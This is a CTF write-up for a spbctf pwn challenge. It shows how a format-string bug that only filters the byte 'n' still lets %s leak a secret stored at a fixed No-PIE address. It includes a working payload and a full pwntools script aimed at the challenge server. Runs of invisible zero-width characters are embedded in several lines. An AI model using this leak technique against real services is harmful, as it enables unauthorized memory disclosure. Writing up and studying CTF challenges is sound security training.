← Back to Writeups
CUSTOMEasypwn

secret_v2 — format string without %n

XESXOR9/2/20263 min read
#pwn#custom#easy#format_string_s_read#printf_leak_at_fixed_address#stack_pointer_planting

secret_v2 — format string without %n

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: format_string_s_read, printf_leak_at_fixed_address, stack_pointer_planting

Summary

Task: format-string bug with a filter that bans the byte 'n' (so no %n) but still allows %s; secret is stored in BSS at a fixed No-PIE address and later compared against user input. Solution: plant the secret's address on the stack by placing it inside the input buffer and dereference it with %11$s to leak the secret, then echo the secret back to retrieve the flag.

secret_v2 — SPB CTF Pwn Season

Description

Format String, 10 pts nc 109.233.56.90 11642 Binary: secret_v2.elf (x86_64, stripped, No PIE, Partial RELRO, NX, no canary)

English summary: a format-string bug where the byte 'n' is filtered out (so %n-based writes are impossible), but %s is allowed, and the secret we need to echo back is at a known fixed BSS address.

Analysis

main (0x4013d4):

  1. generate_secret() writes a random 8–32 byte string into a global BSS buffer at the fixed address 0x4040e0 (No PIE).
  2. printf("Payload: ").
  3. fgets(buf[32]=rbp-0x20, 32, stdin) plus newline strip.
  4. Filter at 0x401212: walks the input byte-by-byte, exits on any byte equal to 'n' (0x6e). This blocks the %n family.
  5. puts("Hmmm...").
  6. printf(buf) — format string vuln, no %s filter, only n banned.
  7. fgets(answer[32]=rbp-0x40, 32, stdin) after the Secret: prompt.
  8. strncmp(secret_global, answer, strlen(secret)) — on a full match, fopen("/flag", "r"), fgets, printf("Flag: %s\n", ...). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Because the binary is not PIE, the secret address is a hard-coded constant and the filter only bans n (0x6e) — 0x4040e0 itself contains no 0x6e bytes, so we can happily place that pointer inside our format string.

Stack probe with %N$p shows that our fgets buffer starts at argument position 10, so position 11 corresponds to bytes 8..15 of our input.

Solution

We craft a 16-byte payload:

b'%11$s' + b'AAA' + p64(0x4040e0)

Layout:

  • Bytes 0..4: %11$s — printf goes to the 11th positional argument (= bytes 8..15 of our buffer) and dereferences it as a char *.
  • Bytes 5..7: AAA padding to align the following pointer to the qword boundary.
  • Bytes 8..15: \xe0\x40\x40\x00\x00\x00\x00\x00 — the address 0x4040e0. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

None of these bytes is 0x6e (n), so the filter accepts the input. printf then prints the NUL-terminated secret from 0x4040e0, followed by the padding (AAA + low bytes of the address) that came from our own buffer.

Splitting the response on AAA isolates the raw secret. We send it back as the second input, and the server prints the flag.

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

SECRET_ADDR = 0x4040e0
HOST, PORT  = '109.233.56.90', 11642

p = remote(HOST, PORT)
p.recvuntil(b'Payload: ')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

payload = b'%11$s' + b'AAA' + p64(SECRET_ADDR)
assert b'n' not in payload
p.sendline(payload)

p.recvuntil(b'Hmmm...\n')
line = p.recvline().rstrip(b'\n')                 # secret + "AAA" + addr bytes
secret = line.split(b'AAA', 1)[0]
log.success(f'secret = {secret!r}')

p.recvuntil(b'Secret: ')
p.sendline(secret)
print(p.recvall(timeout=5).decode(errors='replace'))

Sample run: leaked secret 1_P%=Hs1"/H/unZpFOb@etG → server prints Flag: spbctf{...}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍